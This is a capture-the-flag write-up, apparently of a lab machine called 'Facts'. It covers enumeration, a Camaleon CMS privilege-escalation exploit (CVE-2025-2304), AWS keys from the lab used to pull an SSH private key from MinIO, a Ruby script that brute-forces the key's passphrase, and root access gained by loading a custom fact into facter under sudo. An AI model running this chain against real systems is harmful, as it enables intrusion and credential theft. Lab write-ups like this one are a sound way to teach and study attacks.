Let’s add our target machine to /etc/hosts:
mairon $ echo 10.129.24.44 facts.htb | sudo tee -a /etc/hosts
Next, enumeration:
mairon $ rustscan -a facts.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV
| tee rustscan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
To scan or not to scan? That is the question.
[~] The config file is expected to be at "/home/mairon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.24.44:22
Open 10.129.24.44:80
Open 10.129.24.44:54321
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.24.44
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 13:13 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Initiating Connect Scan at 13:13
Scanning 10.129.24.44 [3 ports]
Discovered open port 80/tcp on 10.129.24.44
Discovered open port 22/tcp on 10.129.24.44
Discovered open port 54321/tcp on 10.129.24.44
Completed Connect Scan at 13:13, 0.01s elapsed (3 total ports)
Initiating Service scan at 13:13
Scanning 3 services on 10.129.24.44
Completed Service scan at 13:13, 28.46s elapsed (3 services on 1 host)
NSE: Script scanning 10.129.24.44.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.51s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.04s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Nmap scan report for 10.129.24.44
Host is up, received user-set (0.0088s latency).
Scanned at 2026-02-01 13:13:20 CET for 29s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
54321/tcp open http syn-ack Golang net/http server
| http-methods:
|_ Supported Methods: GET OPTIONS
|_http-title: Site doesn't have a title (application/xml).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 18901E598030C266
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sun, 01 Feb 2026 12:13:43 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>18901E598030C266</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 18901E55B628B6E7
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sun, 01 Feb 2026 12:13:27 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18901E55B628B6E7</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sun, 01 Feb 2026 12:13:27 GMT
|_ Content-Length: 0
|_http-server-header: MinIO
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=2/1%Time=697F4366%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAcc
SF:ept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20appl
SF:ication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-ag
SF:e=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20d
SF:d9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-Am
SF:z-Request-Id:\x2018901E55B628B6E7\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2001\x20Feb
SF:\x202026\x2012:13:27\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encodi
SF:ng=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x20
SF:Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Requ
SF:estId>18901E55B628B6E7</RequestId><HostId>dd9025bab4ad464b049177c95eb6e
SF:bf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,59
SF:,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2001\x20F
SF:eb\x202026\x2012:13:27\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x20
SF:400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20
SF:303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-T
SF:ransport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\x
SF:20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9
SF:251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x2018901E598030C266\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nDate:\x20Sun,\x2001\x20Feb\x202026\x2012:13:43\x20GMT\r\n\r\n<\?xml\x
SF:20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReques
SF:t</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Message
SF:><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>18901
SF:E598030C266</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd
SF:1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.27 seconds
So, SSH on 22/tcp, HTTP on 80/tcp, and a not so obvious HTTP on 54321/tcp. Let’s first check 80:
A gospider scan didn’t reveal anything interesting, but gobuster did:
mairon $ gobuster dir --url facts.htb --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.bash_history (Status: 200) [Size: 11137]
.cvs (Status: 200) [Size: 11110]
.git-rewrite (Status: 200) [Size: 11134]
.env (Status: 200) [Size: 11110]
.git (Status: 200) [Size: 11110]
.cache (Status: 200) [Size: 11116]
.cvsignore (Status: 200) [Size: 11128]
.bashrc (Status: 200) [Size: 11119]
.forward (Status: 200) [Size: 11122]
.config (Status: 200) [Size: 11119]
.gitconfig (Status: 200) [Size: 11128]
.git_release (Status: 200) [Size: 11134]
.gitattributes (Status: 200) [Size: 11140]
.gitk (Status: 200) [Size: 11113]
.gitignore (Status: 200) [Size: 11128]
.gitkeep (Status: 200) [Size: 11122]
.gitreview (Status: 200) [Size: 11128]
.gitmodules (Status: 200) [Size: 11131]
.history (Status: 200) [Size: 11122]
.hta (Status: 200) [Size: 11110]
.htaccess (Status: 200) [Size: 11125]
.htpasswd (Status: 200) [Size: 11125]
.listing (Status: 200) [Size: 11122]
.mysql_history (Status: 200) [Size: 11140]
.listings (Status: 200) [Size: 11125]
.passwd (Status: 200) [Size: 11119]
.profile (Status: 200) [Size: 11122]
.perf (Status: 200) [Size: 11113]
.rhosts (Status: 200) [Size: 11119]
.ssh (Status: 200) [Size: 11110]
.sh_history (Status: 200) [Size: 11131]
.subversion (Status: 200) [Size: 11131]
.svn (Status: 200) [Size: 11110]
.svnignore (Status: 200) [Size: 11128]
.swf (Status: 200) [Size: 11110]
.web (Status: 200) [Size: 11110]
400 (Status: 200) [Size: 6685]
404 (Status: 200) [Size: 4836]
500 (Status: 200) [Size: 7918]
CVS (Status: 200) [Size: 11110]
_framework/blazor.webassembly.js (Status: 422) [Size: 8380]
admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.cgi (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.php (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.pl (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
ajax (Status: 200) [Size: 0]
cache (Status: 200) [Size: 11116]
captcha (Status: 200) [Size: 3629]
config (Status: 200) [Size: 11119]
cvs (Status: 200) [Size: 11110]
en (Status: 200) [Size: 11109]
env (Status: 200) [Size: 11110]
error (Status: 500) [Size: 7918]
forward (Status: 200) [Size: 11122]
git (Status: 200) [Size: 11110]
history (Status: 200) [Size: 11122]
hta (Status: 200) [Size: 11110]
htpasswd (Status: 200) [Size: 11125]
index.htm (Status: 200) [Size: 11125]
index.html (Status: 200) [Size: 11128]
index (Status: 200) [Size: 11113]
index.php (Status: 200) [Size: 11125]
listing (Status: 200) [Size: 11122]
listings (Status: 200) [Size: 11125]
page (Status: 200) [Size: 19593]
passwd (Status: 200) [Size: 11119]
perf (Status: 200) [Size: 11113]
post (Status: 200) [Size: 11308]
profile (Status: 200) [Size: 11122]
robots.txt (Status: 200) [Size: 99]
robots (Status: 200) [Size: 33]
rss (Status: 200) [Size: 183]
search (Status: 200) [Size: 19187]
sitemap.xml (Status: 200) [Size: 3508]
sitemap.gz (Status: 500) [Size: 7918]
sitemap (Status: 200) [Size: 3508]
ssh (Status: 200) [Size: 11110]
svn (Status: 200) [Size: 11110]
swf (Status: 200) [Size: 11110]
up (Status: 200) [Size: 73]
web (Status: 200) [Size: 11110]
welcome (Status: 200) [Size: 11966]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
There’s an admin page with an open registration function. Once registered, the user is allowed to change their own profile picture, and while I did try to work my way around the file upload restriction, I did not succeed.
I did notice the CMS name and version: Camaleon 2.9.0. This particular version seems to be vulnerable to CVE-2025-2304 (authenticated PrivEsc to admin). At the time of writing, there’s a brand new PoC available (barely a day old).
mairon $ python3 cve-2025-2304.py -u duif -p duif http://facts.htb
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Pre-Registered User Version
============================================================
[*] Target: http://facts.htb
[*] Username: duif
[*] Password: ****
[*] Logging in as duif...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: duif (ID: 5)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/5/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
After logging back in again, we are now Admin in the CMS.
On the media page, we can now upload arbitrary files. However I still did not find a way to have my web shells execute as the files were being returned as downloads.
Moving on, there’s an interesting settings page revealing credentials for the 54321/tcp port we found:
-
Aws s3 access key: AKIA38A449C03A6A1E7E
-
Aws s3 secret key: zU8Ot4Fu8No631YeHakcXkTcF+axGgXivLKLuZnZ
-
Aws s3 bucket name: randomfacts
-
Aws s3 region: us-east-1
-
Aws s3 bucket endpoint: http://localhost:54321
-
Cloudfront url: http://facts.htb/randomfacts
Let’s configure these details in awscli:
mairon $ aws configure
AWS Access Key ID [****************tmp]: AKIA38A449C03A6A1E7E
AWS Secret Access Key [****************tmp]: zU8Ot4Fu8No631YeHakcXkTcF+axGgXivLKLuZnZ
Default region name [tmp]: us-east-1
Default output format [tmp]:Let’s see what buckets we can access this way:
mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfactsThe internal bucket shows some interesting stuff:
mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/ s3://internal
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 19:45:13 220 .bash_logout
2026-01-08 19:45:13 3900 .bashrc
2026-01-08 19:47:17 20 .lesshst
2026-01-08 19:47:17 807 .profile
mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/ s3://internal/.ssh/
2026-02-01 12:40:55 82 authorized_keys
2026-02-01 12:40:55 464 id_ed25519Let’s download that .ssh dir:
mairon $ aws s3 sync --endpoint-url http://facts.htb:54321/ s3://internal/.ssh/ ssh
download: s3://internal/.ssh/authorized_keys to ssh/authorized_keys
download: s3://internal/.ssh/id_ed25519 to ssh/id_ed25519It seems to require a passphrase first:
mairon 8s $ ssh-keygen -yf ssh/id_ed25519
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'ssh/id_ed25519' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "ssh/id_ed25519": bad permissions
mairon $ chmod 400 ssh/id_ed25519
mairon $ ssh-keygen -yf ssh/id_ed25519
Enter passphrase for "ssh/id_ed25519":
Load key "ssh/id_ed25519": incorrect passphrase supplied to decrypt private keyNOTE:I wasted a lot of time trying to crack this key.
It turns out my version of ssh2john.py bundled with the latest(!) extra/john package on Arch was outdated.
I then downloaded a fresh copy, also to no avail, weirdly.
Then I found the below script to (naively) brute force each entry in rockyou:
require 'open3'
if ARGV.size == 2
password_found = false
File.readlines(ARGV[1], chomp: true).each do |password|
Open3.popen3("ssh-keygen -y -f #{ARGV[0]} -P '#{password}'") { |i,o,e,t|
error = e.read.chomp
if error.empty?
puts "\nThe password is: #{password}"
password_found = true
elsif /incorrect passphrase supplied to decrypt private key/.match?(error)
print '.'
else
puts "Error: #{t.value}"
puts error
end
}
break if password_found
end
else
puts "Usage : ruby #{__FILE__} SSH_KEY WORDLIST"
puts "Example: ruby #{__FILE__} ~/.ssh/id_ed25519_crack /usr/share/wordlists/passwords/richelieu-french-top20000.txt"
endThe above script worked, albeit very slow:
mairon $ ruby ssh-bf.rb ~/htb/facts/ssh/id_ed25519 ~/htb/wordlists/rockyou.txt
.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
The password is: dragonballz
Since we still don’t have a valid username, let’s try the above password using ssh-keygen manually:
mairon $ ssh-keygen -yf ssh/id_ed25519 -P dragonballz
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGGjdDDjydRs+x2Y7rICtMogQ9uFWFufg6OJTs9LpAAE trivia@facts.htbThere we go, we should now be able to access the system via SSH:
~/htb/facts gkroon@mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 trivia@facts.htb
The authenticity of host 'facts.htb (10.129.24.44)' can't be established.
ED25519 key fingerprint is: SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA
+--[ED25519 256]--+
|+o. E.. |
|.o+ o o . |
| o.=.+.o |
| =.+=o.. |
| o.+o=+ S |
| .. =o.. ... |
|.o o ....oo . |
|o + o+. +... |
| ..=o.+=.. |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'ssh/id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Feb 1 06:08:42 PM UTC 2026
System load: 0.0
Usage of /: 74.5% of 7.28GB
Memory usage: 19%
Swap usage: 0%
Processes: 220
Users logged in: 1
IPv4 address for eth0: 10.129.24.44
IPv6 address for eth0: dead:beef::250:56ff:fe94:3fe1
0 updates can be applied immediately.
trivia@facts:~$I could not find the User Flag in this user’s home dir, but I did find it in william’s, to which we have access it seems:
trivia@facts:~$ find / -name user.txt 2>/dev/null
/home/william/user.txt
^C
trivia@facts:~$ ls /home/william/
.bash_history .bash_logout .bashrc .profile user.txt
trivia@facts:~$ cat /home/william/user.txt
4bae95c3ba152d80ebde4115a8f0f085It seems this user hase sudo privileges on /usr/bin/facter:
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facterI’ve never worked with Puppet and therefore know little about it.
I could not find any CVEs for this particular binary version (4.10.0), but I did notice this tool allows to include custom facts via --custom-dir.
Here’s how I exploited that, first by creating a new directory myfacts, and a new file file_contents.rb there, with the following contents:
# frozen_string_literal: true
Facter.add(:file_content) do
setcode do
path = '/root/root.txt'
begin
File.read(path)
rescue Errno::ENOENT
nil # fact becomes 'undefined' if file doesn't exist
rescue => e
"error: #{e.class}: #{e.message}"
end
end
endThen we can read the System Flag like so:
trivia@facts:~$ sudo facter --custom-dir myfacts | grep file_content
file_content => 41a318d7aaefa52e1f3c380f5be84aa1